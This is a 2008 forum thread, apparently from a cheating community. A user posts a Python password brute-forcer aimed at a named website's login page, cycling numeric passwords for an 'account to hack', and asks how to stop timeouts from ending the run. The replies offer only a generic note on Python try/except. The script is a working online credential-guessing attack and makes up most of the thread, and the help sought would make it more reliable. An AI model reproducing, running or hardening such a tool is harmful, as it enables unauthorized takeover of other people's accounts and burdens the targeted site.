| View previous topic :: View next topic |
| Author |
Message |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sun Jun 01, 2008 3:05 am Post subject: Python script - error handler |
|
|
I have this almost perfect python bruter but if the connection times out it stops the sscript, any error handling help?
| Code: | import re
import sys
import time
import urllib
import urllib2
import cookielib
import getpass
import time
import random
print "Pr0n for sale"
if len(sys.argv) != 2:
print "usage", sys.argv[0], "<account to hack>"
print
sys.stdout.write("enter username: ")
username = sys.stdin.readline().strip()
if len(username) == 0:
sys.exit(0)
else:
username = sys.argv[1]
cookieJar = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookieJar))
opener.addheaders = [('User-agent', "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty)")]
print "Bruteforcing started."
ticknum = 30000
tickets = int(ticknum)
for i in xrange(tickets):
url = "http://overminds.org/racing/login.php"
form = {"username" : username,
"password" : i,
"login" : "Log+in%21"}
encodedForm = urllib.urlencode(form)
request = urllib2.Request(url, encodedForm)
page = opener.open(request)
contents = page.read()
matches = re.compile(".*login accepted.*")
userid = re.findall(matches, contents)
print "current password: ", i
if len(userid) != 0:
print username
print i
break
else:
print "Ending program..."
|
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
--Pillboi-- Grandmaster Cheater Supreme
Reputation: 0
Joined: 06 Mar 2007 Posts: 1383 Location: I don't understand the question. Is this a 1 to 10 thing?
|
|
| Back to top |
|
 |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sun Jun 01, 2008 3:26 am Post subject: |
|
|
Thanks will check them in in a minute
EDIT: Hmm, is there some simple "On Error Resume Next" Code like in VB?
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
--Pillboi-- Grandmaster Cheater Supreme
Reputation: 0
Joined: 06 Mar 2007 Posts: 1383 Location: I don't understand the question. Is this a 1 to 10 thing?
|
Posted: Wed Jun 04, 2008 11:22 am Post subject: |
|
|
Sorry, I don't know. I don't program in python or VB6.
All I know, thanks to google:
| WikiBooks wrote: | | When an error occurs within the try block, Python looks for a matching except block to handle it. If there is one, execution jumps there. |
_________________
Enter darkness, leave the light, Here be nightmare, here be fright...
Earth and Water, Fire and Air. Prepare to meet a creature rare.
Enter now if you dare, Enter now the dragon's lair. |
|
| Back to top |
|
 |
atom0s Moderator
Reputation: 205
Joined: 25 Jan 2006 Posts: 8588 Location: 127.0.0.1
|
|
| Back to top |
|
 |
|